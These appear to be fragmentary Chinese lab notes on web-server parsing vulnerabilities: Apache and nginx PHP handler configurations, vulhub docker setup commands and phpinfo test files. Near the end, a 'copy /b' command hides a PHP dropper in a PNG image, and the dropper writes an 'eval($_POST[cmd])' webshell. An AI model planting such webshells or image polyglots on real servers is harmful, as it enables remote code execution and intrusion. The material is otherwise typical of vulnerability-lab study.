解析漏洞总结

#从下面的FileMatch中可以看到".+.ph(p[3457]?|t|tml)$"，$代表最后一个，说明php本身
#还是检测最后一个后缀的 。

<FilesMatch ".+.ph(p[3457]?|t|tml)$">
	SetHandler application/x-httpd-php
</FilesMatch>

<FilesMatch ".+.phps$">
	SetHandler application/x-httpd-php-source
	# Deny access to raw php sources by default
	# To re-enable it's recommended to enable access to the files
	# only in specific virtual host or directory
	Require all denied
</FilesMatch>

Deny access to files without filename (e.g. '.php')

<FilesMatch "^.ph(p[3457]?|t|tml|ps)$">
	Require all denied
</FilesMatch>

Running PHP scripts in user directories is disabled by default
To re-enable PHP in user directories comment the following lines
(from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
	php_admin_flag engine Off
</Directory>

<FilesMatch ".+\.ph(p[3457]?|t|tml)\.">
	SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps\.">
	SetHandler application/x-httpd-php-source
	# Deny access to raw php sources by default
	# To re-enable it's recommended to enable access to the files
	# only in specific virtual host or directory
	Require all denied
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)\.">
	Require all denied
</FilesMatch>

# Running PHP scripts in user directories is disabled by default
#
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
	<Directory /home/*/public_html>
		php_admin_flag engine Off
	</Directory>
</IfModule>

service apache2 restart

AddType application/x-httpd-php xxx

<FilesMatch "shell.jpg">
	SetHandler application/x-httpd-php
</FilesMatch>

<Directory />
		Options FollowSymLinks
		AllowOverride All
		Require all denied
</Directory>

<Directory /usr/share>
		AllowOverride None
		Require all granted
</Directory>

<Directory /var/www/>
		Options Indexes FollowSymLinks
		AllowOverride All
		Require all granted
</Directory>

#<Directory /srv/>
#       Options Indexes FollowSymLinks
#       AllowOverride None
#       Require all granted
#</Directory>

<FilesMatch "^.ht">
	Require all granted
</FilesMatch>

cd /etc/apache2/mods-enabled/
ln -s ../mods-available/rewrite.load rewrite.load

root@kali:/var/www/html# tree
.
├── index.html
├── index.php
├── shell.jpg
├── test
	│ ├── shell.jpg
	│ └── [type.xxx](http://type.xxx/)
└── [type.xxx](http://type.xxx/)

<?php echo 'HELLO WORLD'; ?>

# 安装pip
curl -s https://bootstrap.pypa.io/get-pip.py | python3

# 安装最新版docker
curl -s https://get.docker.com/ | sh

# 启动docker服务
service docker start

# 安装compose
pip install docker-compose

# 拉取项目
git clone https://github.com/vulhub/vulhub.git
cd vulhub

# 进入某一个漏洞/环境的目录
cd flask/ssti

# 自动化编译环境
docker-compose build

# 启动整个环境
docker-compose up -d

Get https://registry-1.docker.io/v2/: x509: certificate has expired or is no

<?PHP phpinfo() ?>

# 查找php-fpm.conf文件
    
# find / -name php-fpm.conf
/etc/php-fpm.conf

copy xx.png/b + yy.txt/a xy.png
    
# yy.txt内容如下：
    
<?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

location ~ \.php$ {
			root           html;
			fastcgi_pass   127.0.0.1:9000;
			fastcgi_index  index.php;
			fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
			include        fastcgi_params;
#           try_files   $uri = 404;

		}

<?php phpinfo();?>